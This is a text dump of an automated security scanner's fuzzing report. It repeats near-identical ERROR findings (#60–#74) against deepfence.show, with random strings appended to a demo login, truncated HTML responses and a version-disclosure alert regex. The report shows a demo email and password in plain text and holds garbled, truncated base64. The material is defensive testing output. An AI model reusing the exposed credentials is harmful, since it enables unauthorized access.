z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #60
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioMS2Iahdc
DemoUser1# xiUksUQsBiNRqnJ
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #61Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioOATutTZ5
DemoUser1# kp63YhBeLLs5W5C
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #62
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioYfGJfLtML2
DemoUser1# OA1sc0BdBWFCsh
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #63
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioYXchFoasZP0J
DemoUser1# wtws2vUCk3fU
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.ioDemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #64
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.iopS789JLatAttSi
DemoUser1# ryoV4qivIZ3yu
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #65
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@ NE7Lh6kRMkideepfence.io
DemoUser1# xE8LYGX0XS
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #66
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioge8Hgq
DemoUser1# 9D2zUe3
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCgAQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #67
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io6Bv3KAUeb
DemoUser1# IAd6GQDLJP57EC
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #68
Scan Fuzzing Scan
Severity ERROREndpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioF7h8rWW9Zc
DemoUser1# lItyXnxdL2XDqz
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #69
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioNR62HV78zfFMX
DemoUser1# AoiQgSWB3JDfV93
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #70
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioeYMP2YsbK
DemoUser1# YNQddocgAiiVj
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.Issue Number #71
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUrfsRKdzV
DemoUser1# 9UsWfT
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #72
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io8HIfp3YtMP4dvdS
DemoUser1# IRrO4NUXFtwAy0Response Content-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #73
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.iodhe6bou3K
DemoUser1# ClxF7ezZXc3F
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessaryhints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #74
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioxhu7N1
DemoUser1# GtSdx6s3Np
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
